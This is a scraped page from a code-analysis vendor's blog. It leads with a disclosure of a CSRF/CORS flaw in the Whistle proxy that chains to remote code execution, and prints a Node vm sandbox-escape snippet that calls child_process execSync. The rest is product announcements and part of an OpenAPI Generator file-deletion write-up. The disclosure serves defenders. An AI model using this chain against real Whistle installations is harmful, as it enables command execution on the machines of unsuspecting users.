Whistle is a popular HTTP debugging proxy with over 14k stars on GitHub. It helps users debug HTTP(S) requests on their system and comes with a wide range of match-and-modify features. Its capabilities can even be extended using a plugin system.

In our continuous effort to help secure open-source projects and improve our static code security analysis, we regularly scan open-source projects via SonarQube Cloud and evaluate the findings. In fact, everybody can also do it – SonarQube Cloud is a free code analysis product for open-source projects, regardless of their size or language.

While scanning Whistle's code base, SonarQube reported a CORS misconfiguration issue that turned out to be a serious real-world vulnerability. In this blog post, we will explain the technical details behind the issue, how it can lead to a full system compromise, and how to avoid such bugs in your code.

Impact

We reported the issue to the Whistle maintainer in June 2024, along with patch suggestions. After they developed an initial fix, we discovered the issue was broader than we first thought. Unfortunately, the vulnerability was never fully fixed, and we stopped hearing back from the maintainer. Therefore, the latest version of Whistle (2.9.90 at the time of writing this blog post) is still vulnerable. Since our 90-day responsible disclosure deadline has elapsed, we release this information to allow users to protect themselves.

The vulnerability (CVE-2024-55500) is a Cross-Site Request Forgery (CSRF) issue caused by a CORS misconfiguration. To exploit the vulnerability, an attacker has to trick a victim into visiting a malicious webpage. Once the victim visits, the site can exploit the Whistle instance on the victim's machine without the user noticing it. As a result, the attacker can execute arbitrary system commands on the victim's machine:

Watch the video

Technical Details

Whistle aims to help developers and other technical users debug HTTP requests made in their systems. It can help develop and debug complex applications or trouble-shooting proprietary programs.

To enable debugging of all HTTP requests made on a system, Whistle installs itself as an intercepting proxy. To support HTTPS interception, it also registers a custom certificate authority (CA) that can sign certificates on the fly. After installing itself, Whistle lists all requests in a web interface:

Users can create rules for automatic request modifications, such as redirects, changing request headers, or modifying response bodies. For this, the user must create rules that match URL patterns. These rules can use values that the user creates, for example, to replace a response body with a static value.

The Bug: Origin Reflection

While investigating issues raised in Whistle's code by SonarQube, we came across the following security hotspot. Such security hotspots highlight parts of your code that are security-sensitive and require a thorough human review:

If you want to follow along and explore the vulnerable code section, you can check out the issue on SonarQube Cloud.

What is highlighted here is a potential Cross-Origin Resource Sharing (CORS) configuration issue. CORS can be used by a webserver to allow other websites to interact with it. This is done by setting special Access-Control-* HTTP response headers that the browser will abide by.

In the highlighted code snippet, we can see that the request's Origin header is reflected in the response's Access-Control-Allow-Origin header. This is unsafe because it essentially enables CORS for all origins, allowing any website to send requests to the server and read the response!

If sensitive information is contained in any response, malicious websites can read it when the user visits them. Similarly, the malicious website can also control what data is included in the request, resulting in a Cross-Site Request Forgery (CSRF) vulnerability. This affects Whistle's /cgi-bin/* API endpoints, which can now be called from any website. In addition, the Access-Control-Allow-Credentials header is set to true, causing the browser to include cookies or basic authentication information in these cross-site requests.

The impact of such a vulnerability depends on the actions that an attacker can trigger by forging cross-site requests. As we will see next, the implications are critical in the context of Whistle. CORS controls not only the origins but also the data that can be contained in requests. More specifically, the Access-Control-Allow-Headers response header tells the browser which headers can be sent in the cross-origin request.

At first glance, it looked like Whistle's API only used JSON request bodies. This would require the attacker page to set the Content-Type: application/json header so that the Express.js-based server correctly parses the request. However, it turned out that the server always tries to parse both URL-encoded form data and JSON requests and uses whichever works:

biz/webui/lib/index.js:

app.all('/cgi-bin/*', function(req, res, next) {
  req.isUploadReq = UPLOAD_URLS.indexOf(req.path) !== -1;
  return req.isUploadReq ? uploadUrlencodedParser(req, res, next) : urlencodedParser(req, res, next);
}, function(req, res, next) {
  return req.isUploadReq ? uploadJsonParser(req, res, next) : jsonParser(req, res, next);
}, cgiHandler);

To send a form-encoded body, the attacker would need to set a Content-Type header, this time with the value of application/x-www-form-urlencoded. But shouldn't this also fail since Content-Type is not in the server's Access-Control-Allow-Headers?

In this case, the attacker is lucky because of the Simple Requests concept. Simple Requests can be sent cross-origin without the need for CORS. Similarly, parts of Simple Requests, such as safelisted request headers, can be included in cross-origin requests, even when CORS did not specifically negotiate them. This includes the Content-Type header when its value is either application/x-www-form-urlencoded, multipart/form-data, or text/plain.

This means the attacker can send a CORS request with Content-Type: application/x-www-form-urlencoded even though the server does not explicitly allow the Content-Type header! Attackers can now send arbitrary request bodies to any /cgi-bin/* handler and interact with potentially sensitive features of Whistle.

We reported this to the maintainer, and they fixed the origin reflection behavior by only sending the CORS headers when the request comes from an allowed origin. However, while reviewing the patch, we noticed that attackers can exploit this without using CORS at all!

We already talked about the Content-Type header in Simple Requests, but what else does a request need to be considered simple? There are several minor requirements, but the important one for our case is that a Simple Request can only use the GET, POST, or HEAD methods, which work with most of Whistle's API endpoints.

This shows that an attacker can craft a Simple Request that is still processed by Whistle! We also reported this to the maintainer with suggestions on how to fix it. Unfortunately, they stopped communicating with us since then, and the non-CORS variant has never been fixed. As of the time of writing this blog post, it can still be exploited using a Simple Request.

Exploring the Impact

Let's try to understand this vulnerability's impact on Whistle and its users. As mentioned earlier, the attacker can talk to any /cgi-bin/* endpoint and control the request body. There are various reachable handlers, but two of them stand out.

The /cgi-bin/rules/select endpoint can enable new interception rules. This would allow an attacker to modify requests and responses for specific URLs. The /cgi-bin/values/add endpoint can be used to add new values that can be used in rules, such as alternate response bodies. However, there is a feature that is even more interesting from an attacker's point of view. Whistle enables users to create dynamic rules by providing a scripting interface:

These scripts are executed for each request or response that matches the rule's pattern. During execution, they are isolated from Whistle's main environment using Node.js's vm module. According to its documentation, this module is not considered a security boundary, making it easy for an attacker to break out and execute arbitrary code on the system.

In the case of Whistle, this is done by getting access to the global scope outside of the isolated environment (called "isolate" from here). Whistle passes some objects into the isolate's global context when running the script, such as a values object. Since this object was created outside of the isolate, it also references other things outside of the isolate.

By accessing values.constructor.constructor, an attacker can get a reference to the function constructor of the outside scope. Calling this constructor inside the isolate allows an attacker to create new functions as if they were declared in the host's scope. Such functions can then retrieve useful globals such as process:

values.constructor.constructor('return process')()

This expression creates and calls a function that returns the process object of the host scope. From there, the attacker can get access to the require function via process.mainModule.require and use it to load arbitrary modules, e.g., to execute commands:

process.mainModule.require('child_process').execSync('calc')

These steps showed that an attacker could add a malicious payload using the /cgi-bin/values/add endpoint and then reference it when creating a rule that executes it as a request script for a specific domain. The final attack flow looks like this:

Patch

As mentioned earlier, the vulnerability is only partially patched, and the latest version of Whistle is still vulnerable (as of this blog post). The maintainer's initial fix successfully prevented the origin reflection:

if (checkAllowOrigin(req)) {
  res.setHeader('access-control-allow-origin', req.headers.origin);
  res.setHeader('access-control-allow-credentials', true);
}

Technically, this still reflects the request's origin, but it is limited to trusted origins. However, as we learned earlier, Simple Requests can still be used to communicate with Whistle's API because they don't require CORS. To fix this issue, we suggested checking the Sec-Fetch-Site header to identify cross-origin requests and block them:

if (req.headers['sec-fetch-site'] !== 'same-origin') {
  return res.status(403).end('Forbidden');
}

This header is a so-called forbidden header, which is set by the browser and cannot be changed by the page. It will only have the value same-origin when the requesting page is of the same origin as the destination URL, making it a good solution for this problem.

Timeline

Date	Action
2024-06-20	We report all issues to the Whistle maintainer via email
2024-08-21	We reach out again via a GitHub issue
2024-08-23	The maintainer confirms the issues
2024-09-02	The maintainer publishes a patch and asks for a review
2024-09-05	We follow up after noticing that the issue is still exploitable
2024-11-21	Our 90-day responsible disclosure deadline elapses
2024-12-10	This blog post is published

Summary

In this blog post, we demonstrated why it is essential to investigate security hotspots raised by SonarQube. An issue that didn't look very impactful at first turned out to be a dangerous vulnerability that can compromise a user's machine just by visiting a malicious website.

We also learned details about CORS, Simple Requests, and forbidden headers such as Sec-Fetch-Site. We hope this equips you with the right ideas for tackling similar issues in your own code. If you need more information, you can view the Sonar Rules covering CORS in the product.

The new SonarQube free tier is here

Andrew Osborne — Thu, 05 Dec 2024 08:00:00 GMT

TL;DR overview

The SonarQube free tier is a cloud-hosted offering that lets individual developers and small teams scan private repositories up to 50k lines of code with commercial-grade features at no cost.
Included capabilities cover pull request analysis, main branch analysis, deeper SAST, advanced secrets detection, and support for 40 programming languages, frameworks, and IaC platforms.
Automatic analysis for GitHub projects requires no extra configuration, letting developers receive quality feedback within minutes of setup.
The free tier removes the maintenance burden of self-managed Community Edition and provides a seamless upgrade path to Team and Enterprise plans.

A free SonarQube offering has always been an important element of the Sonar solution. Today, we are excited to announce the launch of an improved free tier for SonarQube in the cloud.

This new free tier goes beyond the previous offering, allowing individual developers and small teams to explore the core features of our commercial offerings with their private repositories. Unlike the previous free offering, which only allowed developers to scan their open-source projects, the new offering enables private repository scanning, for up to a maximum of 50k lines of code. We listened to our community and felt this enhancement was crucial to help developers discover the value of SonarQube. As always, users can analyze public projects, with no lines of code limitation.

Our goal with the free tier for SonarQube is to let developers discover all the key features that contribute to clean, secure code, and ultimately better software. Signing up is easy, getting started is fast, and with our broad language support, and integration with most DevOps platforms, you will see meaningful, actionable results in no time, whatever your language, framework, or IaC platform is.

So what’s included? Here’s what you get with the free tier of SonarQube:

Comprehensive code analysis: detect bugs, vulnerabilities, and security hotspots across 30 languages.
Scan public and private repositories (up to 50k lines of private code, unlimited public code)
Pull request (PR) and main branch analysis
Support for 30 languages, frameworks, and IaC platforms: including Dart, the latest addition
Integration with most DevOps platforms
Up to 5 users
Automatic analysis for GitHub projects: no extra configuration is required for most languages to receive the results of the first analysis. You can start improving your code in minutes
Deeper SAST: helps developers identify deeply hidden vulnerabilities arising from the interaction between their first-party code and third-party dependencies
Advanced secrets detection: this prevents the accidental inclusion of sensitive information from public, private, commercial, or enterprise services
SonarQube for IDE integration to synchronize team settings
Fast Upgrades: seamless upgrade to Team and Enterprise as project needs grow

Get started with SonarQube free tier in 3 easy steps

Step 1: Sign Up for SonarQube free tier

To begin using the SonarQube free tier, you first need to sign up. Here’s how:

Choose Your DevOps Platform: When you sign up, you’ll need to select the DevOps platform you want to connect to. SonarQube Cloud supports popular platforms like GitHub, Bitbucket Cloud, GitLab, and Azure DevOps.
Log In with Existing Credentials: You will sign in using your existing credentials from the chosen DevOps platform. Note that there is no standalone SonarQube account; your account is created and linked to your DevOps platform account. With the Enterprise plan of SonarQube Cloud, you can log in using SSO.
Import Your Organizations and Repositories: Once logged in, you can import your organizations and repositories from your DevOps platform. Each imported organization becomes a SonarQube organization, and each repository becomes a project within SonarQube Cloud.

Step 2: Set Up Your First Analysis

After importing your projects, and if you use a GitHub repository, SonarQube Cloud will check your imported repository to see if it qualifies for automatic analysis. If it does, the analysis will start automatically and the results will be delivered to you, without the need to configure a CI-based analysis.

Otherwise, if you are using another DevOps platform, or prefer to configure manually:

Connect Your CI Pipeline: Integration with your CI/CD pipeline allows for automated code checks every time you push changes to your repository. The integration process is straightforward and requires minimal configuration for most languages.
Review Quality Gate: SonarQube provides a default quality gate with the Free tier called the "Sonar way," which is suitable for most projects.
Run Your First Analysis: Trigger your first analysis by pushing code to your main branch or creating a pull request. SonarQube Cloud will automatically analyze the code and provide feedback on any issues detected.

Step 3: Explore Key Features

Once you’ve set up your analysis, take advantage of the powerful features the free tier offers:

IDE Integration: Use SonarQube for IDE, an IDE extension, in connected mode to catch issues in real time as you write code. This helps you fix problems before they even reach your repository.
Pull Request Analysis: SonarQube Cloud analyzes pull requests to ensure that only Code Quality is merged into your main branch. This feature provides immediate feedback on the quality of the changes being proposed.
Main Branch Analysis: Every time you make changes to your main branch, SonarQube will analyze the entire codebase, ensuring ongoing compliance with your quality standards.

Additionally, there are plenty of resources to help you get started:

Step-by-step guide for analyzing Java application code.
An active and growing user community, a great place to share experiences and get help.
Comprehensive documentation covering everything from getting started to exploring features.

Ready to go? Get started here with your favorite DevOps platform and explore all the value of SonarQube.

SonarQube Server 10.8 Release Announcement

Robert Curlee — Wed, 04 Dec 2024 16:00:00 GMT

TL;DR overview

SonarQube Server 10.8 delivers new AI Code Assurance capabilities, including an AI Code Assurance badge that projects can display to signal that AI-generated code in the codebase has been verified through a rigorous quality gate.
The release adds new language analysis features and security rules, continuing Sonar's investment in detecting vulnerabilities and code quality issues across the 30+ languages and frameworks supported by the platform.
Performance improvements and bug fixes in 10.8 address issues reported by enterprise customers running large-scale analysis on complex multi-module or monorepo codebases.
SonarQube Server 10.8 is the final release in the 10.x series before the 2025.1 LTA; teams should upgrade to 10.8 as an intermediate step before migrating to the LTA.

In the 10.8 release of SonarQube Server, you’ll find these new and exciting capabilities:

Use your own quality gate for AI Code Assurance
Early Access to AI CodeFix is extended to Developer Edition
Standard Experience and Multi-Quality Rule Mode
Dart/Flutter moves from early access to a fully supported language
Introducing architecture rules for Java
Support for Ansible IaC
Advanced secrets detection
Includes many more language updates

Read on to find out more.

Powerful AI Enhancements

Our newly released AI Code Assurance helps you take back ownership of your projects that include AI-generated code. With a new Sonar-recommended AI Code Assurance quality gate, both new code and overall code are checked to make sure your whole codebase meets our strict standards. Want to use your own quality gate for AI Code Assurance? You can! Simply mark your custom quality gate as “Qualified for AI Code Assurance”, and teams will know which company-trusted quality gate to use for AI Code Assurance. Everyone wants to try out our AI CodeFix suggestions, so we’re extending Early Access to Developer Edition. Now, all developers using SonarQube Server can get AI CodeFix suggestions. Lastly, you can accept AI CodeFix suggestions right in place in your code in connected mode with all the IDEs we support: IntelliJ, VS Code, Eclipse, and now Visual Studio.

Choose Between Operating Modes

There are now two different operating modes for SonarQube Server: Standard Experience and Multi Quality Rule (MQR) Mode. The Standard Experience preserves the familiar rule and issue qualities (Bug, Vulnerability, and Code Smell) and custom severities Sonar has historically offered. MQR Mode shows the new Code Quality Taxonomy model, where rules and issues can have multiple qualities, including a severity setting per quality. In MQR Mode, we’ve also added the ability to set custom severity levels just like in the Standard Experience, so you can override the default with a severity level that suits your business needs. Moreover, you can decide which model works best for your business and switch at any time without disruption. If you’re not sure which one is right for you, don’t worry. We’ll default to the one that best matches the behavior of the SonarQube version you’re upgrading from.

Language Updates: Architecture, Ansible IaC, and More

This release introduces our first architecture rules to help developers find circular class dependencies in Java code. These kinds of architectural issues can be hard to find on your own. This is just the beginning, too. Be on the lookout as we continue adding more rules to SonarQube Server to help developers uncover and correct complex architecture issues in your code. Ansible is one of the leading infrastructure-as-code (IaC) tools for automating application provisioning, configuration, updating, and deployment. Now, SonarQube Server helps developers improve the quality and security of your Ansible IaC. Dart is the fastest-growing multiplatform developer language and is increasingly popular for building mobile apps, especially mobile games. With a total of 115 rules for Dart, we move Dart/Flutter from Early Access to a fully supported language in this release. Lastly, SonarQube Server receives a further boost in secrets detection now with a whopping 122 rules covering 166 secrets patterns and 113 cloud services. Our goal is to deliver industry-leading secrets detection as we scan your code repository and enable you to start left in your IDE when SonarQube Server and SonarQube for IDE are connected.

The SonarQube Server 10.8 release announcement and our 10.8 release notes provide more details about the release.

Are you still using an older version of SonarQube Server?

If you’re on a version older than 9.9, upgrade to SonarQube Server 9.9 LTA before upgrading to 10.8. Check out this helpful checklist for a smoother upgrade. Watch the on-demand LTA upgrade webinar, which explains a step-by-step approach and highlights common pitfalls encountered during the upgrade.

A better (free) SonarQube experience

Fabrice Bellingard — Tue, 19 Nov 2024 15:00:00 GMT

TL;DR overview

Sonar announced a new cloud-hosted free tier of SonarQube that goes beyond the self-managed Community Build—offering private repository scanning (up to 50,000 lines of code), pull request analysis, and support for 30 programming languages.
The SonarQube Community Build is simultaneously rebranded and will release monthly builds on an accelerated cadence, separate from commercial versioning.
The new free tier eliminates infrastructure maintenance overhead for individual developers and small teams while providing access to commercial features including advanced secrets detection and deeper SAST.
Unlimited public project scanning remains available with no lines-of-code restriction, reinforcing Sonar's commitment to the open source community.

A free SonarQube offering has long been at the center of the Sonar solution, helping individual developers and small teams ensure the quality and security of their code. Historically, this offering has been a self-managed Community Edition, requiring our users to install, maintain, store, and manually update themselves.

It’s been exciting and humbling to watch the adoption of Sonar by over 7 million developers and 400k organizations, many of which use our free products. At the same time, we’ve felt that we could do better and give more back to the community that’s supported us for so long. We’ve heard directly from you, our community, that the cost of maintaining your own instances—across financial and developer resources—has become increasingly high.

This brings us to today: we’re announcing a new free tier of SonarQube, hosted in the cloud. This tier goes beyond our current community offering and gives individual developers and small teams many of the same features as our commercial SonarQube offering.

This new SonarQube free tier allows users to scan private repositories (up to 50k lines of code), provides pull request (PR) analysis, supports 30 languages, frameworks, and IaC platforms, and allows up to 5 users. Sonar will also maintain its commitment to the Open Source community by providing free scanning for all public repositories, regardless of their size.

Here’s what else users get with the new free tier –

Automatic analysis: No extra configuration is required for most languages to receive the results of the first analysis. You can start improving your code in minutes.
Deeper SAST: Helps developers identify deeply hidden vulnerabilities arising from the interaction between their first-party code and third-party dependencies.
Advanced secrets detection: Prevent accidental inclusion of sensitive information from public, private, commercial, or enterprise services.
Fast Upgrades: Seamless upgrade to Team and Enterprise as project needs grow.

The new free tier of SonarQube will be made available in December 2024. Sign up for SonarQube product news.

In closing

We are thrilled to offer the community a new, improved free tier of SonarQube and increase the launch pace for the SonarQube Community Build. As always, thank you for your continued support and use of Sonar.

To share feedback, please visit our Community forum.

How to Trust AI Contributions to Your Codebase

Anirban Chatterjee — Thu, 14 Nov 2024 15:00:00 GMT

TL;DR overview

Trusting AI contributions to code requires treating every AI-generated line with the same quality and security standards applied to human-written code.
AI coding tools accelerate generation but can introduce vulnerabilities, outdated patterns, and logic errors that pass superficial review.
SonarQube's AI Code Assurance feature automatically flags AI-generated code for additional scrutiny, ensuring it meets the same quality gate thresholds as the rest of the codebase.
Organizations that verify AI contributions through automated analysis maintain velocity gains without accumulating hidden technical debt or security risk.

In the traditional SDLC, code authorship was generally pretty well understood. Anytime developers work on a code change, their tools automatically capture what changes occurred, when they were committed, and who made them. Up to this point, the assumption has been that whoever made the code change in the repository also wrote and tested the code.

Even if a developer finds a code snippet from an example online, they have to modify it to make it work within their own code. In order to do this, developers have to understand how the code works, essentially taking ownership of it and making it their own code in the process. This is a foundational element for creating trust in the code being managed.

The trust breakdown when AI generates code

When generative AI solutions are added to the mix, this trust can break down. AI coding assistants already understand much of the context within your codebase (including the variables, functions, and libraries already in use) so the code they generate already fits within the context of the overall software it’s meant to enhance. In this case, developers have to make fewer modifications for the AI-generated code to work.

This leads to more blind acceptance of AI-generated code without developers taking the time to understand what that code is doing or how it works. In this new world, we know who checked in the code, but the origin of the code and, therefore, its ownership become increasingly obscure.

Furthermore, if the organization doesn’t have any approved tools or processes for leveraging AI coding tools in the first place, devs may resort to “shadow IT” practices. They could use publicly available LLMs like ChatGPT, or download their own. They could use them to create code under their name that hasn’t been rigorously vetted, reviewed, or tested, further breaking down the trust in the validity or quality of the code. In using these public models, they could even leak privileged information externally, thereby creating security risks or inadvertently assisting IP theft. And there will be no visibility at all into what models were used, where they were used, or how well they performed.

On top of this, the GenAI world is rapidly evolving as new models are created. Use cases that work today may break tomorrow, and lack of visibility into which LLMs (including LLM versions) are in use will erode trust in the efficacy of the LLMs’ overall results.

Many enterprises already find this situation untenable, and they are looking for ways to solve it. But where do you start?

Build AI accountability for trusted code generation

The productivity benefits of using code generation LLMs to accelerate development and improve productivity are too enticing to ignore, but enterprises trying to build trustworthy solutions will need to retrofit (or potentially reimagine) their SDLC processes in order to accommodate them with the proper guardrails in place. At Sonar, we’re already having conversations with customers about the best way forward. Here are some of the steps you should consider – leading enterprises on this path are already taking many of these.

Identify specific LLMs

Carefully evaluate which specific LLMs are suitable for your developers to use, considering factors like domain relevance, security, and compliance. This step ensures that only trusted models are integrated into the workflow, reducing potential risks associated with their implementation.

Customize them for your needs

Tailor each approved LLM to align with your specific requirements, ensuring the models fit seamlessly into existing workflows and address the right challenges. Customizations can include fine-tuning the LLMs on proprietary data, adjusting them for industry-specific use cases, or optimizing performance for certain tasks.

Make them available

Integrating approved LLMs directly into developer workspaces, such as IDEs and DevOps platforms, ensures that these tools are readily accessible during the development process. This seamless availability allows developers to leverage the right LLMs for tasks like code generation, bug fixing, and optimization without leaving their familiar environments.

Keep track of how they evolve

Closely monitor changes to the LLMs in use to ensure compatibility, stability, and security. This tracking allows teams to assess how updates or modifications to the LLMs are impacting existing projects and workflows. By keeping a detailed record of version changes, organizations can mitigate potential risks associated with unexpected changes in performance.

Monitor where AI was used

Whenever a developer utilizes an approved LLM, automatically tag any resulting code change as AI-assisted and log the specific LLM and version used. This tagging provides transparency, allowing teams to track which parts of the code were influenced by AI tools and ensuring accountability in the development process. Additionally, recording the LLM version used helps maintain a clear audit trail, making it easier to trace potential issues back to their source.

Track AI code agents

Similarly, when an autonomous agent commits code generated by AI, tag the commit as AI-generated. By marking these commits, organizations can maintain accountability, track the performance of autonomous agents, and assess the impact of AI-generated contributions on the overall codebase.

Help developers keep ownership

Equip developers with tools to validate and review AI-generated code. These tools should help developers thoroughly assess the code, understand its functionality, and verify that it meets project requirements. Developers can then confidently integrate the code into the larger system while maintaining control and accountability over the final product.

Track code quality

Evaluate the performance and quality of code produced by different LLMs to benchmark them against one another. By regularly measuring code quality metrics associated with software reliability, security, and maintainability, organizations can track how the performance and reliability of each model evolves over time.

Constantly reevaluate

Implement comprehensive reporting to audit LLM performance across the enterprise. Track key metrics such as code quality, defect rates, performance, and cost in order to extract valuable insights into how effectively LLMs are contributing to development efforts and whether they align with business goals. By regularly reviewing this data, organizations can ensure that the LLMs in use remain a strategic asset, helping to maintain high standards of productivity and efficiency.

How Sonar helps build trust in AI code

Sonar has a long history of enabling organizations of all sizes to build and improve their code quality, so we have a good basis of experience we can use to attack these challenges.

Sonar can be an indispensable resource for developers during the review process for AI generated code. Our code quality tools highlight common issues that come up when code is created with an AI, and make sure that developers don’t miss issues hidden in code that they didn’t author themselves. This validation step helps enable developers to take back ownership of the code generated by LLMs.

^{Sonar AI Code Assurance allows project owners to tag their AI code so it goes through an AI-specific validation process.}

For stakeholders, Sonar can collect and report on all the accountability data being generated above. Sonar’s AI Code Assurance feature is a first step towards building out our capabilities here. When combined with data from other tooling that measures the performance of different AI models, organizations will be able to view real-time data on how different models perform. These measures will, over time, build trust in certain models over others, and help organizations make data-driven decisions on where to invest their resources.

As AI becomes more integrated into the SDLC, maintaining trust in your codebase requires new strategies and tools. By carefully selecting, customizing, and monitoring LLMs, organizations can harness the productivity benefits of AI without sacrificing code quality or accountability. With solutions like Sonar's AI Code Assurance, developers can validate AI-generated code, while stakeholders can track performance metrics to make informed decisions. By adopting these practices, enterprises can confidently navigate the evolving landscape of AI-driven development while ensuring their code remains secure, reliable, and trustworthy.

If you’re interested in exploring how Sonar can help your organization build trust in AI-generated code, contact us for a demo!

Our commitment to you – and an update on severity ratings for software quality

Tom Howlett — Wed, 13 Nov 2024 15:00:00 GMT

TL;DR overview

This post outlines Sonar's commitments to its customers and the developer community, covering product direction, open-source contributions, and long-term support policies.
Sonar reaffirms its commitment to maintaining free access for open-source projects via SonarQube Cloud and the open-source SonarQube Community Build edition.
The post addresses the developer community's questions about Sonar's commercial direction, product naming changes, and the future of its open-source tools.
Sonar's mission remains focused on empowering developers to build better, faster—ensuring code is secure, maintainable, and reliable regardless of whether it is human-written or AI-generated.

The speed of software development and product delivery is increasing for organizations everywhere – including here at Sonar. Just like for many of you, this increase in production has required us to grow quickly and reevaluate the way we operate. Since day one, our mission has been to build products that help developers write better, more secure code – and that’s not changing. We are, however, expanding on how we do that.

Sonar’s Engineering Principles

We decided to put our guiding engineering principles in writing and share them with you. These principles are designed to support three critical things: (a) set clearer expectations with our customers around what we will and won’t change in our products; (b) operate more effectively as an engineering and product organization; and (c) innovate and experiment to bring new, exciting capabilities to our customers while staying focused on our mission.

Here they are –

You, our customers, are at the center of everything we do. We will continue to focus on gaining a deep understanding of your needs and how you’re using our products. As always, the doors to feedback via our Community are wide open – please continue to share your ideas, questions, and recommendations with us.
We will ensure backward compatibility. We know that you count on our products in critical parts of your software development toolchain, and we will do our best to ensure that we do not make changes that break prominent workflows that a large number of customers count on.
No (bad) surprises. We will continue to provide significant notice for features that we plan to phase out so that you can adjust workflows or processes as needed well in advance of the changes taking place.
Real solutions to improve developers' experiences. We succeed by making tools that developers love to use. We are committed to creating thoughtful experiences that maximize the signal and minimize the noise for developers.

An update to SonarQube Server’s Severity Ratings and Rules Customization

As we shared on the Sonar Community in October, we are restoring the ability to customize rule severities in SonarQube Server 10.8. We will introduce two modes for customers to choose from: Standard Experience Mode and Multi-Quality Rule (MQR) Mode. This will enable you to continue using familiar workflows and categorization for issues such as bugs, vulnerabilities, and code smells from the earlier SonarQube Server 9.9 version or use the concepts introduced in SonarQube Server 10.2. For SonarQube 9.9 customers, the Standard Experience will bring a seamless path without impacting your way of working. If you’ve adopted the new classifications and severities from SonarQube Server 10.2 and later releases, they won’t be removed and you can continue using them in the MQR Mode.

Standard Experience Mode. The Standard Experience encompasses the use of rule types such as bugs, code smells, and vulnerabilities, with a single type and severity level for each rule. This approach focuses on assigning severity to a rule based on the single software quality (e.g. security, reliability, or maintainability) it has the largest impact on. For customers on SonarQube Server 9.9 and earlier, this is a continuation of the experience you are familiar with.

Multi-Quality Rule Mode. The new MQR Mode aims to more accurately represent the impact an issue has on all software qualities. It does this by assigning a separate severity to a rule for each software quality it might impact. This approach focuses on ensuring the impact on all software qualities is clear, not just the one most severely impacted. This mode is reflective of the changes that were introduced in SonarQube Server 10.2 and later.

Your system will start in the mode that most closely resembles the software version you are upgrading from. You are free to switch modes to whichever best suits your needs and working practices. Both approaches for classifying issue types and assigning issue severity will be available going forward and you can determine which is more suitable for your business.

SonarQube Server 10.8 is scheduled for release in December 2024. We are currently evaluating software quality severity ratings for SonarQube Cloud with these principles in mind and will provide further details in the coming weeks.

For further information on SonarQube Server, visit our documentation.

The Power of Taint Analysis: Uncovering Critical Code Vulnerability in OpenAPI Generator

Stefan Schiller — Tue, 22 Oct 2024 15:00:00 GMT

TL;DR overview

Taint analysis in SonarQube Cloud uncovered CVE-2024-35219, a critical arbitrary file read and deletion vulnerability in OpenAPI Generator versions 7.5.0 and below, by tracking user-controlled data across 28 steps to a dangerous sink.
The vulnerability allowed attackers to read and delete files from arbitrary writable directories via the web API's code generation endpoint.
Taint analysis works by modeling all data flow paths from untrusted sources to security-sensitive sinks, catching complex vulnerabilities that manual review would miss.
The issue was fixed in OpenAPI Generator 7.6.0; teams using code generation tools should integrate SAST-based taint analysis to detect similar deeply hidden injection paths.

The OpenAPI Generator is a popular tool with more than 20k stars on GitHub that allows users to automatically generate source code based on an OpenAPI spec. This code generation is also available via a web API, which can be self-hosted but is also publicly available at https://api.openapi-generator.tech/.

In our continuous effort to help secure open-source projects and improve our Code Quality solution, we regularly scan open-source projects via SonarQube Cloud and evaluate the findings. In fact, everybody can also do it – SonarQube Cloud is a free code analysis product for open-source projects, regardless of their size or language.

When scanning the code base of the OpenAPI Generator, SonarQube Cloud reported a complex taint flow vulnerability, that propagates user-controlled data via 28 steps to a dangerous sink:

In this blog post, we will explain the technical details behind this taint flow vulnerability, which became CVE-2024-35219, a critical arbitrary file read and deletion vulnerability in the OpenAPI Generator.

Impact

OpenAPI Generator versions 7.5.0 and below are prone to an Arbitrary File Read/Delete vulnerability. Attackers can exploit this vulnerability to read and delete files and folders from an arbitrary, writable directory.

The vulnerability is tracked as CVE-2024-35219 and has been fixed with pull request #18652, which is included in version 7.6.0.

Technical Details

In this section, we will explain how the technique that SonarQube Cloud uses to identify taint flow vulnerabilities works and then examine the specific vulnerability in the OpenAPI Generator.

Taint Analysis

Taint analysis is one of the techniques that the engine powering SonarQube Server and SonarQube Cloud uses to identify security vulnerabilities in the analyzed source code. So, what is taint analysis?

An application’s logic is all about data, which is passed from one part of the code to another. For example, when you call a method, you pass some data to it as a parameter. This method may call another method and again passes on the parameter. This flow of data can be visualized as a graph like this:

There are specific entry points to this data flow called Source. An example of this could be the request body of an API handler method. At this point, an attacker could feed some data to the application and thus control the data that is passed onwards.

The counterpart to a Source is a dangerous Sink at the end of a flow. A Sink is a function or method that is known to be security-relevant when attacker-controlled data reaches it.

From a security point of view, the big question is whether an attacker can reach a security-sensitive sink. In other words: Is there a path from a Source to a Sink?

In the above example, the answer is yes. Data originating from an attacker-controllable Source eventually reaches a dangerous Sink. The steps in between the flow from the Source to the Sink are called Passthrough as these simply pass on the data.

In a real application, a shallow taint flow like the above example is not very realistic. It could have been easily spotted manually and never made it to production. However, a huge advantage of taint analysis is that it can follow all code paths and even find very complex taint flows to a deeply hidden Sink in the application’s source code:

In this example, the tainted data from a Source traverses many method and function calls before reaching a Sink. This critical flow is much harder to identify manually.

OpenAPI Generator Vulnerability

With this background knowledge, let’s have a look at the taint flow vulnerability SonarQube Cloud reported for the OpenAPI Generator:

Click here to see the issue on SonarQube Cloud yourself.

On the left side of the SonarQube Cloud UI, we can see all the steps of the vulnerable flow. The first step is highlighted as SOURCE. This is the entry point where attackers might be able to feed in data to the application. In this case, the entry point is the @RequestBody sent to the API endpoint /gen/clients/{language} as we can see in the source code on the right side. SonarQube Cloud highlights the source code so that the flow can be easily tracked here. Following the flow, we can see that the request body is supposed to contain a GeneratorInput object, which is highlighted as the next step.

An example request to the /gen/clients/{language} endpoint with a GeneratorInput object looks like this:

POST /api/gen/clients/csharp HTTP/1.1
Host: api.openapi-generator.tech
...

{
  "authorizationValue": {
    "keyName": "string",
    "type": "string",
    "value": "string"
  },
 "openAPIUrl": "https://raw.githubusercontent.com/OpenAPITools/openapi-generator/master/modules/openapi-generator/src/test/resources/2_0/petstore.yaml",
  "options": {},
  "spec": {}
}

The provided JSON body is mapped to a GeneratorInput object that looks like this:

package org.openapitools.codegen.online.model;

// ...

public class GeneratorInput {
    private JsonNode spec;
    private Map<String, String> options;
    private String openAPIUrl;
    private AuthorizationValue authorizationValue;
    // ...
}

By following the flow on SonarQube Cloud, we can see that this GeneratorInput object is eventually passed to a call to Generator::generate as the opts parameter. If the options member is set (opts.getOptions), the destPath is populated with the outputFolder option:

package org.openapitools.codegen.online.service;

// ...

public class Generator {
   // ...
   private static String generate(String language, GeneratorInput opts, Type type) {
        // ...
        if (opts.getOptions() != null) {
            destPath = opts.getOptions().get("outputFolder");
        }
        // ...

